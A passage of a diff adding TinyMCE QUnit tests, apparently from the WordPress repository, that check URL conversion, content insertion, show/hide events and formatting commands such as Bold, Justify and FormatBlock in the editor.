+	equal(ui, false);
+	equal(value, 'a');
+
+	editor.off('BeforeExecCommand');
+	editor.setContent('');
+	editor.insertContent('a');
+	equal(editor.getContent(), '<p>a</p>');
+});
+
+test('urls - relativeURLs', function() {
+	editor.settings.relative_urls = true;
+	editor.documentBaseURI = new tinymce.util.URI('http://www.site.com/dirA/dirB/dirC/');
+
+	editor.setContent('<a href="test.html">test</a>');
+	equal(editor.getContent(), '<p><a href="test.html">test</a></p>');
+
+	editor.setContent('<a href="../test.html">test</a>');
+	equal(editor.getContent(), '<p><a href="../test.html">test</a></p>');
+
+	editor.setContent('<a href="test/test.html">test</a>');
+	equal(editor.getContent(), '<p><a href="test/test.html">test</a></p>');
+
+	editor.setContent('<a href="/test.html">test</a>');
+	equal(editor.getContent(), '<p><a href="../../../test.html">test</a></p>');
+
+	editor.setContent('<a href="http://www.somesite.com/test/file.htm">test</a>');
+	equal(editor.getContent(), '<p><a href="http://www.somesite.com/test/file.htm">test</a></p>');
+
+	editor.setContent('<a href="//www.site.com/test/file.htm">test</a>');
+	equal(editor.getContent(), '<p><a href="../../../test/file.htm">test</a></p>');
+
+	editor.setContent('<a href="//www.somesite.com/test/file.htm">test</a>');
+	equal(editor.getContent(), '<p><a href="//www.somesite.com/test/file.htm">test</a></p>');
+});
+
+test('urls - absoluteURLs', function() {
+	editor.settings.relative_urls = false;
+	editor.settings.remove_script_host = true;
+	editor.documentBaseURI = new tinymce.util.URI('http://www.site.com/dirA/dirB/dirC/');
+
+	editor.setContent('<a href="test.html">test</a>');
+	equal(editor.getContent(), '<p><a href="/dirA/dirB/dirC/test.html">test</a></p>');
+
+	editor.setContent('<a href="../test.html">test</a>');
+	equal(editor.getContent(), '<p><a href="/dirA/dirB/test.html">test</a></p>');
+
+	editor.setContent('<a href="test/test.html">test</a>');
+	equal(editor.getContent(), '<p><a href="/dirA/dirB/dirC/test/test.html">test</a></p>');
+
+	editor.setContent('<a href="http://www.somesite.com/test/file.htm">test</a>');
+	equal(editor.getContent(), '<p><a href="http://www.somesite.com/test/file.htm">test</a></p>');
+
+	editor.settings.relative_urls = false;
+	editor.settings.remove_script_host = false;
+
+	editor.setContent('<a href="test.html">test</a>');
+	equal(editor.getContent(), '<p><a href="http://www.site.com/dirA/dirB/dirC/test.html">test</a></p>');
+
+	editor.setContent('<a href="../test.html">test</a>');
+	equal(editor.getContent(), '<p><a href="http://www.site.com/dirA/dirB/test.html">test</a></p>');
+
+	editor.setContent('<a href="test/test.html">test</a>');
+	equal(editor.getContent(), '<p><a href="http://www.site.com/dirA/dirB/dirC/test/test.html">test</a></p>');
+
+	editor.setContent('<a href="http://www.somesite.com/test/file.htm">test</a>');
+	equal(editor.getContent(), '<p><a href="http://www.somesite.com/test/file.htm">test</a></p>');
+
+	editor.setContent('<a href="//www.site.com/test/file.htm">test</a>');
+	equal(editor.getContent(), '<p><a href="//www.site.com/test/file.htm">test</a></p>');
+
+	editor.setContent('<a href="//www.somesite.com/test/file.htm">test</a>');
+	equal(editor.getContent(), '<p><a href="//www.somesite.com/test/file.htm">test</a></p>');
+});
+
+test('WebKit Serialization range bug', function() {
+	expect(1);
+
+	if (tinymce.isIE) {
+		ok(true, "Skip IE");
+	} else {
+		// Note that if we create the P with this invalid content directly, Chrome cleans it up differently to other browsers so we don't
+		// wind up testing the serialization functionality we were aiming for and the test fails.
+		var p = editor.dom.create('p', {}, '123<table><tbody><tr><td>X</td></tr></tbody></table>456');
+		editor.dom.replace(p, editor.getBody().firstChild);
+
+		equal(editor.getContent(), '<p>123</p><table><tbody><tr><td>X</td></tr></tbody></table><p>456</p>');
+	}
+});
+
+test('editor_methods - getParam', function() {
+	expect(5);
+
+	editor.settings.test = 'a,b,c';
+	equal(editor.getParam('test', '', 'hash').c, 'c');
+
+	editor.settings.test = 'a';
+	equal(editor.getParam('test', '', 'hash').a, 'a');
+
+	editor.settings.test = 'a=b';
+	equal(editor.getParam('test', '', 'hash').a, 'b');
+
+	editor.settings.test = 'a=b;c=d,e';
+	equal(editor.getParam('test', '', 'hash').c, 'd,e');
+
+	editor.settings.test = 'a=b,c=d';
+	equal(editor.getParam('test', '', 'hash').c, 'd');
+});
+
+test('setContent', function() {
+	var count;
+
+	expect(4);
+
+	function callback(e) {
+		e.content = e.content.replace(/test/, 'X');
+		count++;
+	}
+
+	editor.on('SetContent', callback);
+	editor.on('BeforeSetContent', callback);
+	count = 0;
+	editor.setContent('<p>test</p>');
+	equal(editor.getContent(), "<p>X</p>");
+	equal(count, 2);
+	editor.off('SetContent', callback);
+	editor.off('BeforeSetContent', callback);
+
+	count = 0;
+	editor.setContent('<p>test</p>');
+	equal(editor.getContent(), "<p>test</p>");
+	equal(count, 0);
+});
+
+test('setContent with comment bug #4409', function() {
+	editor.setContent('<!-- x --><br>');
+	editor.settings.disable_nodechange = false;
+	editor.nodeChanged();
+	editor.settings.disable_nodechange = true;
+	equal(editor.getContent(), "<!-- x --><p>\u00a0</p>");
+});
+
+test('custom elements', function() {
+	editor.setContent('<custom1>c1</custom1><custom2>c1</custom2>');
+	equal(editor.getContent(), '<custom1>c1</custom1><p><custom2>c1</custom2></p>');
+});
+
+test('Store/restore tabindex', function() {
+	editor.setContent('<span tabindex="42">abc</span>');
+	equal(editor.getContent({format: 'raw'}).toLowerCase(), '<p><span data-mce-tabindex="42">abc</span></p>');
+	equal(editor.getContent(), '<p><span tabindex="42">abc</span></p>');
+});
+
+test('show/hide/isHidden and events', function() {
+	var lastEvent;
+
+	editor.on('show hide', function(e) {
+		lastEvent = e;
+	});
+
+	equal(editor.isHidden(), false, 'Initial isHidden state');
+
+	editor.hide();
+	equal(editor.isHidden(), true, 'After hide isHidden state');
+	equal(lastEvent.type, "hide");
+
+	lastEvent = null;
+	editor.hide();
+	strictEqual(lastEvent, null);
+
+	editor.show();
+	equal(editor.isHidden(), false, 'After show isHidden state');
+	equal(lastEvent.type, "show");
+
+	lastEvent = null;
+	editor.show();
+	strictEqual(lastEvent, null);
+});
+
+test('show/hide/isHidden and events (inline)', function() {
+	var lastEvent;
+
+	inlineEditor.on('show hide', function(e) {
+		lastEvent = e;
+	});
+
+	equal(inlineEditor.isHidden(), false, 'Initial isHidden state');
+
+	inlineEditor.hide();
+	equal(inlineEditor.isHidden(), true, 'After hide isHidden state');
+	equal(lastEvent.type, "hide");
+	strictEqual(inlineEditor.getBody().contentEditable, "false", "ContentEditable after hide");
+
+	lastEvent = null;
+	inlineEditor.hide();
+	strictEqual(lastEvent, null);
+
+	inlineEditor.show();
+	equal(inlineEditor.isHidden(), false, 'After show isHidden state');
+	equal(lastEvent.type, "show");
+	strictEqual(inlineEditor.getBody().contentEditable, "true", "ContentEditable after show");
+
+	lastEvent = null;
+	inlineEditor.show();
+	strictEqual(lastEvent, null);
+});
+
+test('hide save content and hidden state while saving', function() {
+	var lastEvent, hiddenStateWhileSaving;
+
+	editor.on('SaveContent', function(e) {
+		lastEvent = e;
+		hiddenStateWhileSaving = editor.isHidden();
+	});
+
+	editor.setContent('xyz');
+	editor.hide();
+
+	strictEqual(hiddenStateWhileSaving, false, 'False isHidden state while saving');
+	strictEqual(lastEvent.content, '<p>xyz</p>');
+	strictEqual(document.getElementById('elm1').value, '<p>xyz</p>');
+});
+
+asyncTest('remove editor', function() {
+	document.getElementById('view').appendChild(tinymce.DOM.create('textarea', {id: 'elmx'}));
+
+	tinymce.init({
+		selector: "#elmx",
+		plugins: wpPlugins,
+		add_unload_trigger: false,
+		disable_nodechange: true,
+		skin: false,
+		init_instance_callback: function(editor) {
+			window.setTimeout(function() {
+				var lastEvent;
+
+				editor.on('SaveContent', function(e) {
+					lastEvent = e;
+				});
+
+				editor.setContent('xyz');
+				editor.remove();
+
+				QUnit.start();
+
+				strictEqual(lastEvent.content, '<p>xyz</p>');
+				strictEqual(document.getElementById('elmx').value, '<p>xyz</p>');
+			}, 0);
+		}
+	});
+});
+
+test('insertContent', function() {
+	editor.setContent('<p>ab</p>');
+	Utils.setSelection('p', 1);
+	editor.insertContent('c');
+	equal(editor.getContent(), '<p>acb</p>');
+});
+
+test('insertContent merge', function() {
+	editor.setContent('<p><strong>a</strong></p>');
+	Utils.setSelection('p', 1);
+	editor.insertContent('<em><strong>b</strong></em>', {merge: true});
+	equal(editor.getContent(), '<p><strong>a<em>b</em></strong></p>');
+});
+
+test('execCommand return values for native commands', function() {
+	var lastCmd;
+
+	strictEqual(editor.execCommand("NonExistingCommand"), false, "Return value for a completely unhandled command");
+
+	Utils.patch(editor.getDoc(), 'execCommand', function(orgFunc, cmd) {
+		lastCmd = cmd;
+		return true;
+	});
+
+	strictEqual(editor.execCommand("ExistingCommand"), true, "Return value for an editor handled command");
+	strictEqual(lastCmd, "ExistingCommand");
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/EditorCommands.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/EditorCommands.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/EditorCommands.js	(revision 33402)
@@ -0,0 +1,776 @@
+module("tinymce.EditorCommands", {
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			plugins: wpPlugins,
+			add_unload_trigger: false,
+			disable_nodechange: true,
+			indent: false,
+			skin: false,
+			entities: 'raw',
+			convert_urls: false,
+			valid_styles: {
+				'*': 'color,font-size,font-family,background-color,font-weight,font-style,text-decoration,float,margin,margin-top,margin-right,margin-bottom,margin-left,padding-left,text-align,display'
+			},
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	}
+});
+
+function getContent() {
+	return editor.getContent({format:'raw'}).toLowerCase().replace(/[\r\n]+/g, '');
+}
+
+test('mceInsertContent - p inside text of p', function() {
+	var rng;
+	
+	expect(7);
+
+	editor.setContent('<p>1234</p>');
+	editor.focus();
+	rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 3);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertContent', false, '<p>abc</p>');
+	equal(getContent(), '<p>1</p><p>abc</p><p>4</p>');
+	rng = Utils.normalizeRng(editor.selection.getRng(true));
+	ok(rng.collapsed);
+	equal(rng.startContainer.nodeName, 'P');
+	equal(rng.startOffset, 1);
+	equal(rng.endContainer.nodeName, 'P');
+	equal(rng.endOffset, 1);
+	equal(rng.startContainer.innerHTML, 'abc');
+});
+
+test('mceInsertContent - p inside whole p', function() {
+	var rng;
+
+	expect(7);
+
+	editor.setContent('<p>1234</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertContent', false, '<p>abc</p>');
+	equal(getContent(), '<p>abc</p>');
+	rng = Utils.normalizeRng(editor.selection.getRng(true));
+	ok(rng.collapsed);
+	equal(rng.startContainer.nodeName, 'P');
+	equal(rng.startOffset, 1);
+	equal(rng.endContainer.nodeName, 'P');
+	equal(rng.endOffset, 1);
+	equal(rng.startContainer.innerHTML, 'abc');
+});
+
+test('mceInsertContent - pre in text of pre', function() {
+	var rng;
+	
+	expect(7);
+
+	editor.setContent('<pre>1234</pre>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('pre')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('pre')[0].firstChild, 3);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertContent', false, '<pre>abc</pre>');
+	equal(getContent(), '<pre>1</pre><pre>abc</pre><pre>4</pre>');
+	rng = Utils.normalizeRng(editor.selection.getRng(true));
+	ok(rng.collapsed);
+	equal(rng.startContainer.nodeName, 'PRE');
+	equal(rng.startOffset, 1);
+	equal(rng.endContainer.nodeName, 'PRE');
+	equal(rng.endOffset, 1);
+	equal(rng.startContainer.innerHTML, 'abc');
+});
+
+test('mceInsertContent - h1 in text of h1', function() {
+	var rng;
+	
+	expect(7);
+
+	editor.setContent('<h1>1234</h1>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('h1')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('h1')[0].firstChild, 3);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertContent', false, '<h1>abc</h1>');
+	equal(getContent(), '<h1>1</h1><h1>abc</h1><h1>4</h1>');
+	rng = Utils.normalizeRng(editor.selection.getRng(true));
+	ok(rng.collapsed);
+	equal(rng.startContainer.nodeName, 'H1');
+	equal(rng.startOffset, 1);
+	equal(rng.endContainer.nodeName, 'H1');
+	equal(rng.endOffset, 1);
+	equal(rng.startContainer.innerHTML, 'abc');
+});
+
+test('mceInsertContent - li inside li', function() {
+	var rng;
+	
+	expect(7);
+
+	editor.setContent('<ul><li>1234</li></ul>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('li')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('li')[0].firstChild, 3);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertContent', false, '<li>abc</li>');
+	equal(getContent(), '<ul><li>1</li><li>abc</li><li>4</li></ul>');
+	rng = Utils.normalizeRng(editor.selection.getRng(true));
+	ok(rng.collapsed);
+	equal(rng.startContainer.nodeName, 'LI');
+	equal(rng.startOffset, 1);
+	equal(rng.endContainer.nodeName, 'LI');
+	equal(rng.endOffset, 1);
+	equal(rng.startContainer.innerHTML, 'abc');
+});
+
+test('mceInsertContent - p inside empty editor', function() {
+	var rng;
+
+	expect(7);
+
+	editor.setContent('');
+	editor.execCommand('mceInsertContent', false, '<p>abc</p>');
+	equal(getContent(), '<p>abc</p>');
+	rng = Utils.normalizeRng(editor.selection.getRng(true));
+	ok(rng.collapsed);
+	equal(rng.startContainer.nodeName, 'P');
+	equal(rng.startOffset, 1);
+	equal(rng.endContainer.nodeName, 'P');
+	equal(rng.endOffset, 1);
+	equal(rng.startContainer.innerHTML, 'abc');
+});
+
+test('mceInsertContent - text inside empty p', function() {
+	var rng;
+
+	expect(7);
+
+	editor.getBody().innerHTML = '<p></p>';
+	Utils.setSelection('p', 0);
+	editor.execCommand('mceInsertContent', false, 'abc');
+	equal(editor.getBody().innerHTML.toLowerCase().replace(/^<br>/, ''), '<p>abc</p>'); // Opera inserts a BR at the beginning of contents if the P is empty
+	rng = Utils.normalizeRng(editor.selection.getRng(true));
+	ok(rng.collapsed);
+	equal(rng.startContainer.nodeName, 'P');
+	equal(rng.startOffset, 1);
+	equal(rng.endContainer.nodeName, 'P');
+	equal(rng.endOffset, 1);
+	equal(rng.startContainer.innerHTML, 'abc');
+});
+
+test('mceInsertContent - text inside empty p with br caret node', function() {
+	var rng;
+
+	expect(7);
+
+	editor.getBody().innerHTML = '<p><br></p>';
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild, 0);
+	rng.setEnd(editor.getBody().firstChild, 0);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertContent', false, 'abc');
+	equal(editor.getBody().innerHTML.toLowerCase(), '<p>abc</p>');
+	rng = Utils.normalizeRng(editor.selection.getRng(true));
+	ok(rng.collapsed);
+	equal(rng.startContainer.nodeName, 'P');
+	equal(rng.startOffset, 1);
+	equal(rng.endContainer.nodeName, 'P');
+	equal(rng.endOffset, 1);
+	equal(rng.startContainer.innerHTML, 'abc');
+});
+
+test('mceInsertContent - image inside p', function() {
+	var rng;
+	
+	expect(6);
+
+	editor.setContent('<p>1</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 1);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertContent', false, '<img src="about:blank" />');
+	equal(editor.getContent(), '<p><img src="about:blank" alt="" /></p>');
+	rng = Utils.normalizeRng(editor.selection.getRng(true));
+	ok(rng.collapsed);
+	equal(rng.startContainer.nodeName, 'P');
+	equal(rng.startOffset, 1);
+	equal(rng.endContainer.nodeName, 'P');
+	equal(rng.endOffset, 1);
+});
+
+test('mceInsertContent - legacy content', function() {
+	var rng;
+	
+	expect(1);
+
+	// Convert legacy content
+	editor.setContent('<p>1</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 1);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertContent', false, '<u>u</u><strike>strike</strike><font size="7">font</font>');
+	equal(editor.getContent(), '<p><span style="text-decoration: underline;">u</span><span style="text-decoration: line-through;">strike</span><span style="font-size: 300%;">font</span></p>');
+});
+
+test('mceInsertContent - hr', function() {
+	var rng;
+	
+	expect(7);
+
+	editor.setContent('<p>123</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 2);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertContent', false, '<hr />');
+	equal(editor.getContent(), '<p>1</p><hr /><p>3</p>');
+	rng = Utils.normalizeRng(editor.selection.getRng(true));
+	ok(rng.collapsed);
+	equal(rng.startContainer, editor.getBody().lastChild);
+	equal(rng.startContainer.nodeName, 'P');
+	equal(rng.startOffset, 0);
+	equal(rng.endContainer.nodeName, 'P');
+	equal(rng.endOffset, 0);
+});
+
+test('mceInsertContent - forced root block', function() {
+	expect(1);
+
+	// Forced root block
+	editor.getBody().innerHTML = '';
+	editor.execCommand('mceInsertContent', false, 'test<b>123</b><!-- a -->');
+	// Opera adds an extra paragraph since it adds a BR at the end of the contents pass though this for now since it's an minority browser
+	equal(editor.getContent().replace(/<p>\u00a0<\/p>/g, ''), '<p>test<b>123</b></p><!-- a -->'); // WordPress doesn't convert <b> to <strong>
+});
+
+test('mceInsertContent - mixed inline content inside td', function() {
+	expect(1);
+
+	// Forced root block
+	editor.getBody().innerHTML = '<table><tr><td>X</td></tr></table>';
+	Utils.setSelection('td', 0, 'td', 0);
+	editor.execCommand('mceInsertContent', false, 'test<b>123</b><!-- a -->');
+	equal(editor.getContent(), '<table><tbody><tr><td>test<b>123</b><!-- a -->X</td></tr></tbody></table>');  // WordPress doesn't convert <b> to <strong>
+});
+
+test('mceInsertContent - invalid insertion with spans on page', function(){
+	var startingContent = '<p>123 testing <em>span later in document</em></p>',
+		insertedContent = '<ul><li>u</li><li>l</li></ul>';
+	editor.setContent(startingContent);
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 0);
+	editor.selection.setRng(rng);
+	editor.execCommand('mceInsertContent', false, insertedContent);
+
+	equal(editor.getContent(), insertedContent + startingContent);
+});
+
+test('mceInsertContent - text with space before at start of block', function() {
+	editor.getBody().innerHTML = '<p>a</p>';
+	Utils.setSelection('p', 0);
+	editor.execCommand('mceInsertContent', false, ' b');
+	equal(editor.getContent(), '<p>\u00a0ba</p>');
+});
+
+test('mceInsertContent - text with space after at end of block', function() {
+	editor.getBody().innerHTML = '<p>a</p>';
+	Utils.setSelection('p', 1);
+	editor.execCommand('mceInsertContent', false, 'b ');
+	equal(editor.getContent(), '<p>ab\u00a0</p>');
+});
+
+test('mceInsertContent - text with space before/after at middle of block', function() {
+	editor.getBody().innerHTML = '<p>ac</p>';
+	Utils.setSelection('p', 1);
+	editor.execCommand('mceInsertContent', false, ' b ');
+	equal(editor.getContent(), '<p>a b c</p>');
+});
+
+test('mceInsertContent - inline element with space before/after at middle of block', function() {
+	editor.getBody().innerHTML = '<p>ac</p>';
+	Utils.setSelection('p', 1);
+	editor.execCommand('mceInsertContent', false, ' <em>b</em> ');
+	equal(editor.getContent(), '<p>a <em>b</em> c</p>');
+});
+
+test('mceInsertContent - block element with space before/after at middle of block', function() {
+	editor.getBody().innerHTML = '<p>ac</p>';
+	Utils.setSelection('p', 1);
+	editor.execCommand('mceInsertContent', false, ' <p>b</p> ');
+	equal(editor.getContent(), '<p>a</p><p>b</p><p>c</p>');
+});
+
+test('mceInsertContent - strong in strong', function() {
+	editor.getBody().innerHTML = '<strong>ac</strong>';
+	Utils.setSelection('strong', 1);
+	editor.execCommand('mceInsertContent', false, {content: '<strong>b</strong>', merge: true});
+	equal(editor.getContent(), '<p><strong>abc</strong></p>');
+});
+
+test('mceInsertContent - span in span same style color', function() {
+	editor.getBody().innerHTML = '<span style="color:#ff0000">ac</strong>';
+	Utils.setSelection('span', 1);
+	editor.execCommand('mceInsertContent', false, {content: '<span style="color:#ff0000">b</span>', merge: true});
+	equal(editor.getContent(), '<p><span style="color: #ff0000;">abc</span></p>');
+});
+
+test('mceInsertContent - span in span different style color', function() {
+	editor.getBody().innerHTML = '<span style="color:#ff0000">ac</strong>';
+	Utils.setSelection('span', 1);
+	editor.execCommand('mceInsertContent', false, {content: '<span style="color:#00ff00">b</span>', merge: true});
+	equal(editor.getContent(), '<p><span style="color: #ff0000;">a<span style="color: #00ff00;">b</span>c</span></p>');
+});
+
+test('mceInsertContent - select with option element', function() {
+	editor.getBody().innerHTML = '<p>1</p>';
+	Utils.setSelection('p', 1);
+	editor.execCommand('mceInsertContent', false, '2<select><option selected="selected">3</option></select>');
+	equal(editor.getContent(), '<p>12<select><option selected="selected">3</option></select></p>');
+});
+
+test('mceInsertContent - insert P in span style element #7090', function() {
+	editor.setContent('<p><span style="color: red">1</span></p><p>3</p>');
+	Utils.setSelection('span', 1);
+	editor.execCommand('mceInsertContent', false, '<p>2</p>');
+	equal(editor.getContent(), '<p><span style="color: red;">1</span></p><p>2</p><p>3</p>');
+});
+
+test('InsertHorizontalRule', function() {
+	var rng;
+	
+	expect(7);
+
+	editor.setContent('<p>123</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 1);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 2);
+	editor.selection.setRng(rng);
+	editor.execCommand('InsertHorizontalRule');
+	equal(editor.getContent(), '<p>1</p><hr /><p>3</p>');
+	rng = Utils.normalizeRng(editor.selection.getRng(true));
+	ok(rng.collapsed);
+	equal(rng.startContainer, editor.getBody().lastChild);
+	equal(rng.startContainer.nodeName, 'P');
+	equal(rng.startOffset, 0);
+	equal(rng.endContainer.nodeName, 'P');
+	equal(rng.endOffset, 0);
+});
+
+test('Justify - multiple block elements selected - queryCommandState', function() {
+	editor.setContent('<div style="text-align: left;"><div id="a" style="text-align: right;">one</div><div id="b" style="text-align: right;">two</div></div>');
+	Utils.setSelection('#a', 0, '#b', 3);
+	equal(editor.queryCommandState('JustifyLeft'), false);
+	ok(editor.queryCommandState('JustifyRight'));
+});
+
+test('Formatting commands (xhtmlTextStyles)', function() {
+	expect(19);
+	editor.focus();
+	editor.setContent('test 123');
+	editor.execCommand('SelectAll');
+	editor.execCommand('Bold');
+	equal(editor.getContent(), "<p><strong>test 123</strong></p>");
+
+	editor.setContent('test 123');
+	editor.execCommand('SelectAll');
+	editor.execCommand('Italic');
+	equal(editor.getContent(), "<p><em>test 123</em></p>");
+
+	editor.setContent('test 123');
+	editor.execCommand('SelectAll');
+	editor.execCommand('Underline');
+	equal(editor.getContent(), '<p><span style="text-decoration: underline;">test 123</span></p>');
+
+	editor.setContent('test 123');
+	editor.execCommand('SelectAll');
+	editor.execCommand('Strikethrough');
+	equal(editor.getContent(), '<p><span style="text-decoration: line-through;">test 123</span></p>');
+
+	editor.setContent('test 123');
+	editor.execCommand('SelectAll');
+	editor.execCommand('FontName',false,'Arial');
+	equal(editor.getContent(), '<p><span style="font-family: ' + Utils.fontFace('Arial') + ';">test 123</span></p>');
+
+	editor.setContent('test 123');
+	editor.execCommand('SelectAll');
+	editor.execCommand('FontSize',false,'7');
+	equal(editor.getContent(), '<p><span style="font-size: xx-large;">test 123</span></p>');
+
+	editor.setContent('test 123');
+	editor.execCommand('SelectAll');
+	editor.execCommand('ForeColor', false, '#FF0000');
+	equal(editor.getContent(), '<p><span style="color: #ff0000;">test 123</span></p>');
+
+	editor.setContent('test 123');
+	editor.execCommand('SelectAll');
+	editor.execCommand('HiliteColor', false, '#FF0000');
+	equal(editor.getContent(), '<p><span style="background-color: #ff0000;">test 123</span></p>');
+
+	editor.setContent('<p><span style="text-decoration: underline;">test 123</span></p>');
+	equal(editor.getContent(), '<p><span style="text-decoration: underline;">test 123</span></p>');
+
+	editor.setContent('<p><span style="text-decoration: line-through;">test 123</span></p>');
+	equal(editor.getContent(), '<p><span style="text-decoration: line-through;">test 123</span></p>');
+
+	editor.setContent('<p><span style="font-family: Arial;">test 123</span></p>');
+	equal(editor.getContent(), '<p><span style="font-family: Arial;">test 123</span></p>');
+
+	editor.setContent('<p><span style="font-size: xx-large;">test 123</span></p>');
+	equal(editor.getContent(), '<p><span style="font-size: xx-large;">test 123</span></p>');
+
+	editor.setContent('<p><u>test 123</u></p>');
+	equal(editor.getContent(), '<p><span style="text-decoration: underline;">test 123</span></p>');
+
+	editor.setContent('<p><strike>test 123</strike></p>');
+	equal(editor.getContent(), '<p><span style="text-decoration: line-through;">test 123</span></p>');
+
+	editor.setContent('<p><font face="Arial">test 123</font></p>');
+	equal(editor.getContent(), '<p><span style="font-family: ' + Utils.fontFace('Arial') + ';">test 123</span></p>');
+
+	editor.setContent('<p><font size="7">test 123</font></p>');
+	equal(editor.getContent(), '<p><span style="font-size: 300%;">test 123</span></p>');
+
+	editor.setContent('<p><font face="Arial" size="7">test 123</font></p>');
+	equal(editor.getContent(), '<p><span style="font-size: 300%; font-family: ' + Utils.fontFace('Arial') + ';">test 123</span></p>');
+
+	editor.setContent('<font style="background-color: #ff0000" color="#ff0000">test</font><font face="Arial">test</font>');
+	equal(editor.getContent(), '<p><span style="color: #ff0000; background-color: #ff0000;">test</span><span style="font-family: ' + Utils.fontFace('Arial') + ';">test</span></p>');
+
+	editor.setContent('<p><font face="Arial" style="color: #ff0000">test 123</font></p>');
+	equal(editor.getContent(), '<p><span style="color: #ff0000; font-family: ' + Utils.fontFace('Arial') + ';">test 123</span></p>');
+});
+
+test('Formatting commands (alignInline)', function() {
+	expect(7);
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('JustifyLeft');
+	equal(editor.getContent(), '<p style="text-align: left;">test 123</p>');
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('JustifyCenter');
+	equal(editor.getContent(), '<p style="text-align: center;">test 123</p>');
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('JustifyRight');
+	equal(editor.getContent(), '<p style="text-align: right;">test 123</p>');
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('JustifyFull');
+	equal(editor.getContent(), '<p style="text-align: justify;">test 123</p>');
+
+	editor.setContent('<img src="tinymce/ui/img/raster.gif" />');
+	editor.selection.select(editor.dom.select('img')[0]);
+	editor.execCommand('JustifyLeft');
+	equal(editor.getContent(), '<p><img style="float: left;" src="tinymce/ui/img/raster.gif" alt="" /></p>');
+
+	editor.setContent('<img src="tinymce/ui/img/raster.gif" />');
+	editor.selection.select(editor.dom.select('img')[0]);
+	editor.execCommand('JustifyCenter');
+	equal(editor.getContent(), '<p><img style="margin-right: auto; margin-left: auto; display: block;" src="tinymce/ui/img/raster.gif" alt="" /></p>');
+
+	editor.setContent('<img src="tinymce/ui/img/raster.gif" />');
+	editor.selection.select(editor.dom.select('img')[0]);
+	editor.execCommand('JustifyRight');
+	equal(editor.getContent(), '<p><img style="float: right;" src="tinymce/ui/img/raster.gif" alt="" /></p>');
+});
+
+test('mceBlockQuote', function() {
+	expect(2);
+
+	editor.focus();
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('mceBlockQuote');
+	equal(editor.getContent().replace(/\s+/g, ''), '<blockquote><p>test123</p></blockquote>');
+
+	editor.setContent('<p>test 123</p><p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('mceBlockQuote');
+	equal(editor.getContent().replace(/\s+/g, ''), '<blockquote><p>test123</p><p>test123</p></blockquote>');
+});
+
+test('FormatBlock', function() {
+	expect(9);
+
+	editor.setContent('<p>test 123</p>');
+	editor.execCommand('SelectAll');
+	editor.execCommand('FormatBlock', false, 'h1');
+	equal(editor.getContent(), '<h1>test 123</h1>');
+
+	editor.execCommand('SelectAll');
+	editor.execCommand('FormatBlock', false, 'h2');
+	equal(editor.getContent(), '<h2>test 123</h2>');
+
+	editor.execCommand('SelectAll');
+	editor.execCommand('FormatBlock', false, 'h3');
+	equal(editor.getContent(), '<h3>test 123</h3>');
+
+	editor.execCommand('SelectAll');
+	editor.execCommand('FormatBlock', false, 'h4');
+	equal(editor.getContent(), '<h4>test 123</h4>');
+
+	editor.execCommand('SelectAll');
+	editor.execCommand('FormatBlock', false, 'h5');
+	equal(editor.getContent(), '<h5>test 123</h5>');
+
+	editor.execCommand('SelectAll');
+	editor.execCommand('FormatBlock', false, 'h6');
+	equal(editor.getContent(), '<h6>test 123</h6>');
+
+	editor.execCommand('SelectAll');
+
+	try {
+		editor.execCommand('FormatBlock', false, 'div');
+	} catch (ex) {
+		//t.log('Failed: ' + ex.message);
+	}
+
+	equal(editor.getContent(), '<div>test 123</div>');
+
+	editor.execCommand('SelectAll');
+	editor.execCommand('FormatBlock', false, 'address');
+	equal(editor.getContent(), '<address>test 123</address>');
+
+	editor.execCommand('SelectAll');
+	editor.execCommand('FormatBlock', false, 'pre');
+	equal(editor.getContent(), '<pre>test 123</pre>');
+});
+
+test('mceInsertLink (relative)', function() {
+	expect(1);
+
+	editor.setContent('test 123');
